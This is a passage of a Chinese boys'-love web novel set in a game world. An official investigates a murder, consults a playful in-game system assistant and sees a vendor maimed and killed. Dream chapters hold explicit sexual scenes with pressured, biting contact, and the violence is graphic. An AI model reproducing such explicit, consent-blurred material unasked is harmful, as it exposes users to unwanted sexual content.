“再遇故人。”封怀礼坐在上座,端起茶杯轻轻吹了口气,热气偏慢慢升腾起来。
……
季李只知自己刚才闹了个笑话,竟说出什么,‘臣恭候’!也是,太、太没有情商了。面对一个政敌,他合该是要恭敬却疏离的。
哎。过去的事就让它过去。季李很快说服了自己,站在大门探头探脑的等宗文意出来。
遥遥就看到一个身影向他走来。
季李赶忙跑过去,眼睛滴溜溜得转,见没人跟着想问又压下去,只扯着人的袖子小声催促:“师兄,咱们快出去。”
宗文意虽然不解但还是随了师弟的心意。
等走出吏部侍郎府五十多米后,季李迫不及待的问:“怎么样,师兄?这林严业管不管他儿子。”
“怎么积极呀?”宗文意被他这急吼吼的样子弄得好笑,有意调笑:“看了街上那家摊贩的女儿了?”
“怎么可能!”季李立马反驳,又柔声催促:“师兄,你不要笑话我啦。你说说嘛。”
“这个嘛。”宗文意露出一副苦恼的模样,叹了口气,季李被他弄得整个心都提了起来,弊着气紧紧看着他,半响,宗文意笑答:“你师兄出马,怎么可能不行。”
“那就好。”季李见状抛下一句话,拔腿就跑。
宗文意在后面看着,张口喊:“你小子,又跑什么?”
季李缓了些速度,朝他嘿嘿笑着,神秘兮兮道:“当然是去看我的宝藏店铺。”
夕阳下,少年的笑澄澈似玉,摆动的马尾荡在肩头,轻凉的风吹动细长的发丝缠到嘴角,幽黑的线像瓷器破碎的裂痕。
宗文意看得心惊,慢慢收回慌乱抓握的手,一点点后退,垂下,安安稳稳呆在腰间。
少年欢快的朝壮丽的落日跑去,毫不留恋。
季李不知道宗文意的想法,他现在要赶紧去给老伯他们报这个好消息,摆摊的时间当然不能因为某些人自顾自的的爱好扰乱,本来就应该遵循国策。
他一路看,发现已经有不少人开始收拾起了摊位,心里着急也只能按耐下来,又绕了一会儿,总算看到人影。
季李兴奋跑过去,那老伯好像还认得他,苦悲的神情一变,眼睛亮了亮。
“老伯,我告诉你们一个好消息。”季李喘了几口气,接着说:“以后,你们不用提前收摊了!”
“啊!”老伯一愣,神情更喜,惊道:“大、大人,这是真的!”
“是真的!”季李连连点头,伸手摸了一把额上的热汗,不好意思得摆了摆手:“哎呀,您别叫我什么大人,我就是您儿子的年纪。你叫我小季就可以。”
“这怎么行!”老伯当即摆手,放下竹篓朝他走来,说着:“大人,真是感谢您给的银子了。我老高以后当牛做马都要报答您。”说完,便要跪。
季李慌慌张张跌过去,拉着人的手臂,忙说:“我、我这是预付的钱。您做的小东西,我可喜欢了,我这是买东西的钱。您可别跪我了,真是折煞我了。”
“您快起来。”季李急喊,慌乱间看到个熟悉的人影,是之前帮高四说话的妇人。
她接收到季李的求救信号。笑了一下,放下手上的东西,走了过来,看着季李说:“小少爷,你就让高四跪跪。也让人安心,怎么可能白拿人东西。就算是卖上一个月的竹编也不值十两银子。”
季李只好松了手,连忙往后退,不敢再看他们。
“明礼。”宗文意赶来了,见这副场景,季李的神情悲然空荡,全然没有刚才欢喜灵动的模样了。
他心下一紧,脚下迈出一步,情不自禁伸出手没敢碰,语气极轻的唤:“明礼,怎么了?”
季李下意识抬头,不知道为什么眼睛里涨涨的,像是有什么东西要跑出来,淌出来一大滴一大滴泪,直直涌到嘴边。
他慌忙留下一句:“您好好卖竹编,我过几天再来看您。”说完,抬脚跑开了。
跑到一半,突然想起宗文意还在那里,他抬手随意擦了把脸,抿直了唇,有些怕人又说些什么话,转过身喊:“师兄,你快来。”
宗文意很快把事情了解清楚了,心里沉沉的像塞进了吸
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满水的棉花,此刻,越来越看不透,他的师弟了。
从宫里回来之后,他就看不懂季明礼了。
“好。”宗文意收起繁复思绪,回身应了一句,从人竹篓里拿了一件玩意儿搁下一锭银子,转身朝人跑去。
季李见人总算跟过来,他才放下心,用衣袍又擦了擦脸可不能让人看出来了。
“明礼。”宗文意跟在季李后面,每次想加快脚步和人并肩同行的时候,季李就又走急了,像是在较劲般,他没办法了只好安心在后面,语气轻松道:“你走怎么快干什么?怕不给你留饭?”
“我饿了!”季李找了个借口,实则是怕被宗文意发现,他刚才哭了。
宗文意拉长了调子,嘲道:“喔——是吗?我还以为是因为……”
季李打断他的话:“没有!”
“我还没说呢!”宗文意着实气到了,口不择言:“你慌着回去见老师吗?”
季李懒得理他。
季李的沉默就好像是个答案,宗文意或许是疯了,话从喉咙里跑出来:“你要老师安慰你吗?说你哭了?要老师可怜你?”
季李脚步一顿。
宗文意呼吸发紧,像被人攥紧了心,盯着蓬松顺直的发尾,没什么风,他突然不敢面对季李。垂在腰侧手指突然没什么力气就快握不住竹编蝴蝶。
季李没有回头,一步一步往前走。
后面的路程几近窒息。
一回到相府,季李忙跑回了屋子里,镜子里的人眼眶发红,眼角抹上细长的划痕红肿烫痒。
季李现在更想哭了,这怎么弄得呀,他低头瞅了瞅指甲平整光滑,也不像能划破脸的样子。
哎。季李在心里叹了口气,屁股都还没坐热。
就见王七端着冰块和热鸡蛋走进来,低眉顺眼的说:“是宗大人交代的。”
“好。谢谢你了。”季李让人退下,认命得敷起了眼睛。
用晚宴时,眼睛还是没有完全消肿但也没什么大碍了。
季李恢复了以往的活力,给上司汇报今日工作的时候更是一板一眼,不能留下什么可关心的,“老师,经过就是这样。恐怕林渊在得知探花郎结果之后,对王运下手了。”
冯裕之捧着裹着白狐皮的汤婆子,一张脸在苍白的发丝下更显病容,脸颊上又烫出些病态的红,他轻启薄唇肉上又像是裂了几道口子,丝绒似的血冒出来,声音依旧冷:“文意,你怎么看?”
宗文意一整个心思全放在他师弟身上了,盯着人的黏湿的唇、哭过后眼周染红的眼,连被划上肿痕的眼角都增添了鲜活的气息,不再是没有气息的人偶。
而是一个活生生的、和他截然不同的人。
一个总在心软会因为善良而自毁的人。
宗文意越想越兴奋了,他呀,他必须教会季明礼一些事。
“老师,我有另外的看法。”宗文意自然得收回视线,微微垂眸,语气恭敬:“或许在林渊是选择王运的那个人,这赌约的结果注定只能说明,和他对赌的人才是决定结果的那个人。”
宗文意的话说得含糊。季李却很快反应过来,林渊赌王运赢,而和林渊对赌的人是权势更大的存在,那人压季明礼赢。不管考试的过程怎么样,就是结果出来了,照样能把季明礼推上去。
季李却不知道还有谁更看重季明礼了,一时踌躇问了出来:“那会是谁?”
12. 第十二章
季李放缓了推阻的动作,指节稍显无力的扣在阿狸被揉皱了的领口。
就在季李纠结的时候,突然头顶传来一声羊叫,“咩~”
“你掺合什么!”阿狸顿时愤怒了,仰头喊着。差点就能把肉吃进嘴里了,现在跑了,任谁都会气。
封怀礼当即就决定了,以后不能再选在草原上玩了,还是室内更好操作。
季李不知道他的心思,只是被一打岔,乱七八糟的情愫都消散了,还有心思伸手去扯旁边的草。
阿狸的手臂紧紧圈在腰间,季李无奈了,偏了偏头,余光望到被赶走后在不远处悠闲吃草的牛,“你先起来。”
封怀礼摇头拒绝:“这个不行。”
季李颇为气恼得捏头看向他,大声道:“我不喜欢被人压着。”
他话音一落,封怀礼果然松开了手。
季李还没来得及高兴,视线一转,成了他压在封怀礼身上,灼热的手掌握着他的腿根。
季李从来没有从这个视角去看过,阿狸。
或者说,他们本来应该是两个陌生人,因为他做了些奇怪的春、梦?所以才有了联系。
季李现在不急着挣开他了,反倒是居高临下的去看。
阿狸哭过眼睛只留了很浅很浅的红。狭长的丹凤眼正深情得看着他,唇型有些薄,嘴角勾起,露在象牙白的尖牙。
季李一看,莫名掌心发烫。就是他干的,把他绑起来,咬他的掌心肉,现在这个痕迹还没消。
季李越想越想,突然想到一个恶劣的报仇方法,他轻咳了两声,装作高傲无情得看着他,语气淡淡,“阿狸,你现在闭上眼睛。”
“好啊~”封怀礼好喜欢季李这个模样,小恶魔的红耳朵还没冒出来,细细长长的尾巴倒是长出来了,恶声恶气要干坏事了,尾巴却摆出个爱心。
好想、吃。
阿狸顺从闭上的双眼,神情放松,就好像真是躺在草坪上晒太阳,除了还紧紧握着他大腿的双手。
季李深吸了一口气,俯身落到人嘴角。
等、等。好像有点不对劲,在季李张嘴咬到阿狸下巴时,心里敲起了退堂鼓,他顿了顿,张着嘴,牙齿碰到皮肉上,舌尖有些无处安放的探出去。
“不行了?”炙热气息里含着浓浓笑意,阿狸不嫌事大的松开手,掌心抚到人后背,实实压了下去。
季李果断抛下一些不必要的理智,伸手掌到男人下额边,指腹蹭着脆弱的脖颈,牙齿用力,咬着那块肉,等舌尖尝到些铁锈味,季李才像是回过神,慢慢松开嘴。
张开手指,指尖不自觉轻颤抚到留下压痕的脖颈上,很快收回手。
季李吞咽了一下,偷偷瞧着阿狸的表情,刚才,他咬的时候,阿狸应该没有叫吧?应该,咬得不算太重吧。
事实就摆在他面前。
一个血红的牙印明晃晃的盖在阿狸下巴上,五、六个被咬出的孔点还默默往外冒血珠。
连同脖颈,下颚上是分明的指印,被压的,泛着红色。
“我、我……”季李确实没想到,他竟然能做出这种事,毕竟他只是想,单纯在人下巴上留个印,看他还敢不敢乱咬人了。还有,就是他有些怀疑,梦里的阿狸和白天的封怀礼是不是同一个人。
现在可好了。季李在心里叹了口气,有些不敢去看阿狸的眼睛。
封怀礼手撑在草地上,微微直起了身子,贴近,目光落在季李红红的眼睛上,“你弄完了?”
季李一愣,心里莫名有些不好意思,他就是咬了他一口,怎么就是‘弄完了’。不过也对,他抬眸一眼撞进一双含情丹凤眼里。
季李张嘴道:“没了。”
封怀礼抱住他的腰,手指伸进里衣,指腹顺着微颤的身体往上探,他轻声道:“闭上眼睛。”
季李浑身一激灵,下意识想跑,这,竟然要用一样的招数!
那明天早上,他醒来脸上明晃晃的多出个牙印,再说是自己咬的,也不合理呀!
“别了吧。”季李连探在他衣服里面戏弄的手指都顾不上了,身子往后仰,试图离阿狸更远一点。
“也可以呀。”封怀礼当真听了他的话,止住了动作,只是落在脸上的手指往下探,抓住了季李的手引着他往小腹处。
“不过,这次轮到你让我舒服了。”封怀礼笑眯眯得盯着季李的脸,语气轻松。
季李一开始还没反应过来,等手指真碰到一个烫人的东西时,整个人就像是炸毛的猫,顺势抽回了手,试图让刚才指尖碰到的湿黏软滑的触感全部消失。
脑袋里有太多问题想问。但是,还是先不问吧。
季李果断选择了第一个选择,视死如归道:“你咬吧!”
说完便紧闭上了双眼。
失去了视角,其他感官就格外灵敏了。
他先是听到一声极轻的叹息,言语里混着季李。
阿狸用手臂环住了他,他们靠得极近,脸上能感受到灼热的气息。
一点点往上移,最后停在了眼皮上。
季李心急得不行,什么意思,不是咬下巴吗!?
眼皮频频颤动,再睁开的前一秒,湿烫的舌尖落了上来,季李僵直了身子一动不敢动,紧闭着眼睛,老实了。
阿狸真像只猫一样,先用鼻尖细细的嗅,再探出舌头沿着缝隙轻轻的舔,两只眼睛都被舔了个够,除了一开始的烫,再到后面就是,微微的麻、痒。
封怀礼见季李眼周的红肿消散了,总算放下件心事,只是,这眼角边的划痕。
他照旧舔了舔,又像是想起什么,用牙齿细细磨上去。
季李被弄得烦了,睁开眼睛往后躲。
封怀礼垂眉看他,“还没弄完呢。”
季李认命闭上了眼睛,在心里催促着,快点吧,刚才还以为,阿狸就是想舔舔他,结果是重头戏还没开始!
果然就是想咬他一口。
阿狸抓住了被他藏在身后的左手,季李心头一慌,说是要忘记那奇怪的触感,但又怎么可能忘得辽。
就是抽出手的时候,食指尖左侧碰到的,好像还沾了点湿黏的水迹。
现在是什么意思!他果然是要新仇旧恨一齐报吗?
就在季李惴惴不安,眼皮直颤要睁开眼睛去看的时候,突然手指一热,被阿狸含在了嘴里,尖牙沿着指甲缝磨着,舌头灵活得卷起腹肉,严严实实包裹着。
现在,他的手指头是真的被弄湿了。
“阿狸。”季李像是受到什么召唤,耳边如噪点般的心跳声不断催促他,睁开眼睛、睁开眼睛!
季李猛然惊醒
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,这才发现门窗大开着,庭院外的玉兰花树落了不少花瓣,秋风呼呼的吹着,窗沿边掉着的玉石叮、叮、叮的敲在石壁上。
他就说嘛,还以为在梦里,听到了两个人如擂鼓的心跳声。
本来以为做了梦,第二天的精神不佳的,没想到,脸上的伤好了、眼睛也不红了、手心的牙印也消失了。
季李倍感喜悦,利索收拾完,跑到前厅去寻宗文意。
他要抓紧时间把王运之死调查清楚,既然知道了林渊大概只是被推出来的挡箭牌。
现在,就要去看看和林渊有联系的人,比他更有权势的人。
季李叹了口气,现在连林渊都不一定比得上,还要去找比他更胜一步的人,这不是为难我嘛?
‘小云、小云。你能展示林渊的关系网吗?’
「滴~早上好呀,季李。小云可查询到的角色信息有,家庭关系、好友关系、暧昧关系。请如要查询,需积分10点,目前积分点为8。」
‘什么?积分点又是什么时候出来的?之前也没给我说过呀?’
「请,季李不要生气捏。小云,不希望季李气坏了身子。是这样滴,昨天晚上,本游戏助手完成了版本更新,增加了玩家商场、积分兑换两个功能。」
季李听着别扭的机械卖萌音,寒毛直立,只能妥协,‘那这个积分要怎么获得?’
「每日签到赠送1点,今日是季李进入游戏的第四天呢,还有四个积分是完成新手任务,‘越狱’。」
今天就是进入游戏的第四天的吗?季李一时有些恍惚,就好像,他在这里呆了很久了,每天都会遇到怎么多事。
等等!还有四个积分是完成了新手任务?他开局就被迫选了盲书生,后面,是小云说,他一进游戏就睡着了,所以为了补偿他,激活了抽卡奖励。
看来,就算是跳过任务,也能获得积分。
这样一想,季李满意了不少,言语间亲昵不少,‘小云呀,你看,我都第四天了还没弄完成,探花郎的任务,你就帮帮我吧~’
「滴~好呀、好呀,小云会帮助季李完成任务的。」
这句话说完,小云就没了声响,季李耐着性子又得了会儿,觉得不行,便直言,‘这样,你先预支我2个积分点。’
「滴~小云没有权限捏。」
季李拂袖而去。
破人机。
走到大厅里,季李瞥到宗文意的身影,赶忙凑上去,小声说:“师兄,早上好。”
宗文意被他这副小心翼翼的样子弄得好笑,目光不自觉柔和下来,看到人头上翘起了两根毛,端正交握在腹间的手指惊不住动了动,最后还是捏皱了衣袍,抬脚往里走,抛下句:“老师叫我过去,在门口等我。”
季李只好悻悻把还没说出口的话咽回去,巴巴看着人走进冯相的书房。
掩门,挡住了屋内橘红色的暖光,一眼就能感觉到书房里肯定很热。
季李有些无聊了,蹲在院边,扯着杂草,突然又想起了昨晚的那个梦了。
梦里,阿狸咬着他的食指,柔软湿烫的舌头灵活的缠绕着,他启唇,指节上是银链似的印迹,他笑眯眯的盯着他的眼睛,语气又轻又软:“你喜欢吗。我下面……”
季李猛得站起来,大喊出声:“停!”
13. 第十三章
"哟,我的好师弟,想什么呢。"也不知道宗文意在旁边候了多久,遥遥出声时,拍了拍衣袍,抖落了几片落叶,他眼眸淡淡不见笑意,语气欢闹:“怕不是在回味什么昨夜春宵美梦吧。”
等季李看过来时,宗文意已经把那两、三片枯黄的槐树叶踩在脚下。
照旧是那个不着调的师兄,季李原被嘲得羞愤,那知真被一语道破,他迅速松开手,将掌心里拔断的草根撒了个干净。
季李一边拍着屁股一边朝师兄走近,眼睛一转,好奇的问:“师兄,你和老师在说什么呀!是不是,王运的那个案子?”
宗文意见人没个正形,站也不站直,说话时手脚也不停歇,油亮的黑发被人随意抛到脑后,手指头脏兮兮的,指甲缝染上了土绿色。
“天机不可泄露。”宗文意抽回衣袍神神秘秘留下一句话,转身要走,季李当然不肯,他不算完全有意的用脏手去抓师兄的白袍,指节偷偷摸摸的乱蹭。
季李的小动作当然逃不过宗文意的眼睛,他放缓了脚步,偏头想说话,余光触到少年右脑后落着片粉色玉兰花瓣。
他伸手取了下来,握在手心,见师弟懵懵懂懂望过来,他攥紧了手指将花瓣碾出汁水,沁进手腕上,语气自然回:“刚才,师兄帮你把落在头上的枯叶子取下来了。”
“哦哦。谢谢师兄。”季李不疑有他,抬手还想去拍脑袋。
“你别碰。”宗文意赶忙扯住人衣袍,盯着人的双手一脸无可奈何道:“怎么还像个小孩儿似的,去把手洗干净。”
季李见有喜,赶快道:“我洗干净了,师兄你就告诉我哈!”
“快去、快去。”宗文意总算送走了人,垂眸盯着掌心碾碎的花瓣,眼前浮现的是师弟明艳的笑,乌黑发丝披散的模样。
……
季李高高兴兴洗干净了手,正要去找宗文意。
突然,庭院里一阵嘈杂,只见王七匆忙朝他跑来,行礼道:“大人,宫里来人了。”
什么!季李愣了一下,赶忙跟上去。
相府门口跪了一大群人,他算是来得晚的,正要跪地听旨意。
“明礼,快去接旨。”宗文意瞥到人影,拦住了他,推搡着让他上前。
季李只好埋着头不情不愿的走过去,在这个游戏里面,他最讨厌的人物角色就是这个昏君了!
极其敏锐的一个人,轻易看透别人的心思、喜怒无常、而且对他还有一种强烈的恨意。
是的。如果是论聪明机警,像冯裕之、封怀礼之流都是顶尖的,只不过,冯裕之对他全然是对一个学生。
没有什么善意、也没有什么恶意。
季李有时候也会想,原身季明礼怎么明显的爱意,冯裕之会不懂吗?为什么不将其还是小火苗时就摁灭了。
季李想不明白,不过目前他站队在冯相这边还是很稳妥的,不靠私情、只靠实力。
这封怀礼吗……算了,不想了。
季李果断抛开杂思,毕恭毕敬接旨。
宣旨的人,还算是老熟人了,在殿前见识过他跪着跪着开小差,被点名,脚一软差点摔到的公公,小六子。
小六子笑眯眯道:“宣陛下口谕,限探花郎季明礼,明日午后进宫禀明王运之死一案。”
季李一听,人还在,魂没了。
这死老头、昏庸君王、想一出是一出吧,什么叫,明日午后,进宫?!
是让我交述职报告呢?就只有一天半的时间了,怎么查得清楚!
季李面上笑嘻嘻行礼送走了人,心里骂了个遍,全身上下怨气逼人。
“师兄。”季李赶忙凑到人跟前去,挤出个比哭还难看的笑容道:“一天半,来不及呀!”
“是因为玄都门学要开讲学了。”宗文意回了个答案。
季李不解:“和我查案有什么关系?他们开学就开学呗。”
宗文意问:“开学是何意?”
季李忙拍了拍嘴,回道:“我嘴快了,我是想说他们要授课就授课,和这案子没关系啊。”
宗文意意味深长的摇了摇头,看着自己单纯的师弟道:“你知道老师告病不上朝几日了吗?”
季李已经不懂,只有顺着他的话回:“应该四日吧?”
“不。快十日了。”宗文意叹了一口气,在心里为师弟忧心起来,“玄朝门学的太傅本该是让老师去的,但是他分身乏术。”
“就算是这样。”季李懂了,一拍大腿道:“那也该轮到你去吧,师兄。你这次还是状元郎!”
宗文意看着季李亮晶晶的眼睛,心里泛起极轻的涟漪,他不着痕迹别开眼,笑道:“师兄还想去看看来玄朝门学的都有哪些人呢,可惜,我过两日就要下江南帮老师办事。”
“啊……”季李心里苦,他可没当过老师呀,一点经验都没有,而且,他是社恐呀。
季李怀着一丝侥幸:“师兄,我这资历也不够吧。而且,我也可以在当太傅的同时去调查案子。”
“儒之可教也。”宗文意就等着师弟这句话,满意得摸了摸人的头,小声道:“所以,明日午后你办妥了王运一案,再去授教勉强过得去。”
“所以呀。”宗文意一把拦住人的脖子,将人拉近,垂眸留恋得看着师弟的眼睛,再轻轻松开他,视线落在头顶又翘起的小发束上,嘱咐道:“在师兄我不在的这些日子里,你要好好听老师的话,如果有什么拿不准的,你便去问老师。”
季李听着宗文意类似于临别赠言的话,一开始还想笑,宗文意不是还有两天才出发嘛,结果听着听着,鼻子有些酸酸的,没想到,原身的师兄对原身着实关照。
宗文意:“记住,凡事以自己为先。”
“好!”季李答应得真真切切的,笑滋滋得目送宗文意离开,过了会儿,他才意识到,自己好像被耍了。
他不是要找宗文意帮他查案吗?怎么就把人放走了。季李悔之晚矣。
王运之死,要在明日午后查清,然后再由他接下这功劳,便去填上玄朝门学太傅一职的空缺。
这是谁出的主意呀!季李自觉自己处在一个硕大的棋盘里,而他只是一枚小小棋子。在棋局里挣扎不得,自顾不暇。
季李深吸一口气,把负面情绪排出脑外,重整旗鼓出府,找关系!
对,对。现在不能只呆在相府里,他可以先去吏部侍郎府上,再看看能不能从林渊口中问出点东西来,然后再去大牢里,给季小五他们说一下情况。
季李在心里计划得周全,刚走出相府没多远,远远看到围了一大群人,正堵在一个摊贩位置那儿。
好像就是卖竹编的老伯的摊位,季李心头一紧,慌忙从人堆里挤进去,一股浓烈的血腥味只灌进他鼻腔。
季李瞪大了眼睛,几乎不敢上前,那老伯被砍断的十指七零八碎的丢在一边,断口处还在汩汩的冒血。
“老伯。”季李赶忙扑过去,让小厮去
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请大夫,半跪在人手边。
“这是怎么了?”季李抖着手,声音发颤。
高四半睁开眼,一看清人,笑了,偏头示意看地上的一大袋银子,哆哆嗦嗦道:“小人,我偷了大人的钱,该罚。”
“不、没有。”季李不敢相信得盯着被血沁红的布袋,就是第一次季李偷偷塞进老伯竹篓的,但是,他是,他……
“咳、咳。”高四突然咳嗽起来,季李赶忙去搀住他,老伯就像是抓住了根救命稻草般,鼻涕眼泪直流,血液从鼻腔漫了出来,他想用淌血的手去拉住他,但又滑落下来,只染红了衣袍。
“大、大人。小人求求您,让、让林、林大人,不再计较。”高四迫切得盯着他,神情痛苦,“都是我、我一人干的,和我老娘无关。”
季李就像是掉进了冰窖里,浑身发抖,手上、脸上全是融化的冰,他只是咬牙应下老伯的请求。
季李回:“我一定会的。”
老伯瞪大了双眼,手脚都剧烈颤抖起来,头一歪,整个人像是抽掉血肉的人皮,枯青惨败。
“大人、大人。”耳边是一声声呼唤。
季李愣了一下,回过神,注意到自己还紧拽着高四的衣袍不放,随即缓慢松开手。
撑着地站起来,往后一踉跄差点倒地,还好王七适时扶了他一把,季李笑了一下收回手,祈求得望向赶来的大夫。
大夫站起身,摇头。
季李转身看着王七,问:“老伯,是睡着了吗?”
王七抱拳行礼:“大人。”
季李没有再说话,他只跟着一辆载着老伯的马车走了一段路。
等回到相府的时候,太阳已经落山了。
一踏进院子,王七快步走来,手上捧着封信,他埋头道:“大人,这是宗少爷给您留的书信。”
“这?”季李偏头望去,书封上别着枝粉色玉兰花,他今天心绪起伏太大,不知道为什么身体没什么力气,废力抬手接过,语气低落:“师兄提前出发了吗?”
“是。”王七将身子埋得更低,“宗少爷交代说,若您不好抉择偏照信中内容行事。”
季李深吸一口气,“好。”说完,转身回到屋里。
信里,宗文意说,不管林渊是否是王运一案的真凶。但他面对平民老伯都如此残忍痛下杀手,人证物证俱在。却不能将林渊绳之以法。既然如此,何不顺势将林渊定罪为王运之死的真凶?
季李在回来的路上,就一直在思考这件事,对呀。这个解决方案多么合理正确,既满足了他的业绩、又为老伯报仇雪恨……
可是,真的能怎么轻松的把案件完成吗?
季李把头都想痛了,翻出了竹编蝴蝶,趴在床沿,指尖时不时落在灰褐色的种子镶嵌的蝴蝶眼睛上。
‘小云。’
「滴~季李,晚上好捏。小云随时都在哟~」
‘我现在是在游戏世界里面,那里面的人物就只是串数据。’
「是的,季李。小云感知到你情绪不佳。可以知道是什么原因吗?」
‘啊……可能,就是玩游戏玩累了。’季李漫不经心把这个ai智能打发走,心里还是沉甸甸的。
以后不要再做多余的事情了,就完成游戏任务就足够了。
季李不断说服自己,睡过去前,耳边响起了阿狸的声音。
阿狸似乎就蹲在床沿看着他,伸手描摹着眼眸,语气轻轻的在问:“真的吗?”
14. [锁] [此章节已锁]
季李想也没想,"真的。"
封怀礼得逞的笑了,看着蚕丝被虚掩在下巴,红艳艳的唇张开,吐出轻浅的热气,粉嫩舌尖无意舔过下唇。
封怀礼扑了上去,眼睛紧紧盯着人颤动的眼皮,双唇停在那颗湿漉漉的黑痣上方,语意嘲弄:“那你来。”
季李惊得睁开眼睛,阿狸的身体像沸腾的火焰,褐黄色眼瞳泛着野兽的欲光,饥饿、爱欲、迫切。
阿狸告诉他:“我想吃掉你。”
季李还处在迷蒙中,这是梦吧,手已经探出去,不可置信的摸了摸男人的脸,热热的,指节收拢掐弄起一层薄薄的皮肉。
季李:“我是在做梦吧?”
阿狸被他突然亲昵的动作弄得反而无措起来,身体下意识动了起来,顺着季李的手指,蹭了上去,脸肉贴到温热的掌心,他得寸进尺的偏了偏头,鼻尖在软肉上吸弄。
像吸到猫薄荷的大猫,光闻着还不过瘾,张嘴探出舌头,眼睛紧紧盯着人,慢悠悠的□□。
季李被舔的发痒,尾指抵到人嘴边,刚用劲摸索,那知被阿狸含到了嘴里。
“阿狸?”季李被弄得烦了,索性用另一只手去扯人的头发,皱着眉头教训:“你不要动不动就咬我的手!”
封怀礼舒服得眯起了眼睛,尖齿熟稔的弄上了标记才满意吐出湿漉漉的手指,后脑勺放到季李手上,有些不满意,还伸手拉住季李的手,将其放到后劲,整个人完完全全缩到他怀里。
封怀礼倒打一耙:“谁叫你来得怎么晚?”
季李见人怎么没脸皮,也气了,看了眼脏兮兮的手,真想擦到他的嘴巴上,又怕送上门被咬一口,只能退而求其次覆到对方衣服上。
季李疑惑:“我怎么来得晚了?”
封怀礼眨了眨眼睛,神秘道:“我一直在等你来。你这一次来得太晚了。”
“等我?”季李想了想,如果阿狸是在说做梦见面,那他这次可能是睡得太晚了,可是为什么要说一直在等他?他不过就做过三次梦。
第一次他被蒙着眼睛,还以为阿狸是个妖怪,第二次能看见了,发现阿狸和封怀礼张得一模一样,这次,这厮更熟稔了。
季李:“我们就见过三次吧。”
阿狸摇头:“四次。”
“真的?”季李没想到会是这个答案,不知道为什么,他总觉得,每次睡觉都会做梦,还总能梦到这个人。这件事肯定不简单!
明天他要去问一下系统了。
季李轻轻揉了揉手下温热柔软的颈肉,诱惑道:“那我问你答。让我满意了,我就奖励你。”
阿狸一听,当即点头,没想到还有意外之喜。歪了歪头,眼睛亮得惊人,语气迫切:“那你要奖励一个,让我满意的东西。”
季李面上点头,“你是什么人?”
阿狸面上露出疑惑:“不知道,我一醒来,就看到你了。”
季李停下动作,想坐起来。阿狸不满的探身咬上唇肉,将小痣舔得发红,才直起身,语气轻慢:“你快摸我,不然我不玩游戏了!”
季李捏住人的后颈,软柿子也是会生气的!不知道是不是太用力了,阿狸的身体都在发颤,手指轻轻抚在他脸旁,指尖一点一点的蹭。
阿狸双腿跨坐在腰腹,湿热的触感沁到腹肉上,季李放轻了动作,后知后觉抚了抚烫人的皮肉,语气迟疑:“怎么了?”
阿狸像是陷入极大的痛苦紧咬着唇,双眼紧闭着,水汽溢出来细密的眼睫濒死扑腾在海里,连气息也停滞了,半响才像是活了过来,整个人落到季李身上。
柔软灼热的似融化的黄油,沁出甜腻的香气。
季李都不敢再去碰他了,指尖挨到人的后颈都像是带电般,阿狸反应大极了,双唇微张,吐出一小节舌尖,红得灼目。
晶莹的水丝垂到尖端,缓慢凝出细小的光点,落到唇肉上。
阿狸讨饶,声音又哑又轻:“我、我错了。”
季李满意得收下他的求饶,心里却全然不知道缘由,难道,他把人掐出血了吗?
不会吧。为什么他的反应怎么大?
季李面上严肃问:“好,我继续问。就是说,你只知道自己叫阿狸?你一醒来,就看到我了?”问着,偷偷抬起刚才掐人后颈肉的左手,两指节圆润饱满没沾上什么血丝,随机放下心。
目光游移到人脸上,双眸泛泪,脸色红烫,一张嘴,声音很轻全是喘息的气音:“对,我、我只听到,你叫、叫我阿狸。”
季李勉强压下奇奇怪怪的心思,不自觉动了动双腿。
那知,伏在他身子的阿狸尖叫一声,小腹上湿黏的触感漫得更甚,完全是水漫金山寺,阿狸却还是不知,双手紧紧黏在他肩膀上,白皙指节红得透粉,指腹肉透进皮肉里,只听到雷鼓的心跳声。
季李吓得僵直了身子,想了想,手掌停在空中缓慢的抚到阿狸颤动的后脊,轻柔的抚慰着,语气小心:“好。那你为什么要咬我?”
阿狸被摸得舒服了,亲昵欣喜的贴在人唇边,留下细细的吻,又烫又软。
舌尖讨好的舔着,闻言毫不思索道:“因为,我一见到你,我就很激动!我就很饿,我的胸口很空,很痛。太烫了,我碰到你就会变舒服。”
阿狸的话说得不够清晰,季李勉强理解了一下,“你是说,你只有亲近我才不会痛?你有些喜欢我?”
阿狸微微抬起头,皱着眉,唇肉发颤气息像海上起伏的船帆,“我、我喜欢你。对!我喜欢你。”
季李看着他这副样子,下意识伸手去摸他的脸,有些不忍,“你是很痛吗?”
阿狸追着他的手指去咬,唇齿衔着腹肉,津津有味的吮,像是听出了他的怜惜,抬眸,一双丹凤眼像摄人心魄的精怪,他不舍的推出指节,渴求的发问:“你让我舒服,好、好不好。”
季李点头,差点就要说好了。
阿狸已经黏了上来,不等他回答,双手急急捧住了他的手,勾着指尖揽到他身上,上身贴到他颈侧,眼睛湿湿的蹭在耳垂上。
季李想着要拒绝,又想知道,阿狸是想做什么,便顺了他的动作。
指节抵到他衣衫下的胸脯上,指节触到个灼烫的突起。
季李瞬间反应过来,手指忙曲,贴到胸前平坦的肉上。
掌心泛着热意。
季李止了
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动作。
阿狸没等到抚摸,急恼起来,泪珠淌下来语气哑得发黏:“季、季李,我们说好的。”
季李愣了一下,心尖狂跳。
什么!竟然知道他的名字。
季李按下心头的惊疑,面上轻笑着,手动作却愈发温柔,指腹轻轻抚揉着平滑的皮肉。
“阿狸,你怎么知道我的名字。”季李凑到人耳边,轻柔的问,另一只手适时拍着他直抖的后背,“我们继续玩游戏,好不好。”
阿狸吸了吸鼻子,舒服的在他颈边蹭着,可胸口还是空荡荡的,很是难抰,咬着唇叫恼:“我,我不知道。我一碰到你,就喊出来了。你再摸摸我。”
季李反而,止了动作,“你是说,你一醒来,不知道自己叫什么。听到我在喊阿狸,你就以为自己叫阿狸这个名字。然后,你当时因为难受,咬我手指你就不难受了。碰到我身体的时候,就喊出了季李,所以就叫我季李。”
阿狸心急得抬起头,没了抚摸恶狠狠得盯着他,又只能从他一大段话里面回答问题,整张脸难看得厉害,半响才回答:“对。我看不到你的时候,我就不在了。”
季李当然不怕他色厉内荏的模样,眼含泪,唇红齿白,伏在他身上的身体时不时颤栗,腹上湿腻的水迹潺潺,他奖励似的一勾指头,滑过凸起的一点,“很乖。所以只要你一看不到我,你就没有感知了?”
阿狸尖叫一声,咬着下唇,哼哼唧唧讨好的去咬他上下滚动的喉结,像是亲昵又试探的张嘴尖齿抵上,语气黏腻:“我还要。对,有时候,听能听到你的声音,可是看不到你。”
“我想看到你。我喜欢你。”
“我好喜欢你。”
阿狸一声一声的说着他的想法,语气里含着深深的苦闷,湿烫的泪淌在颈侧。
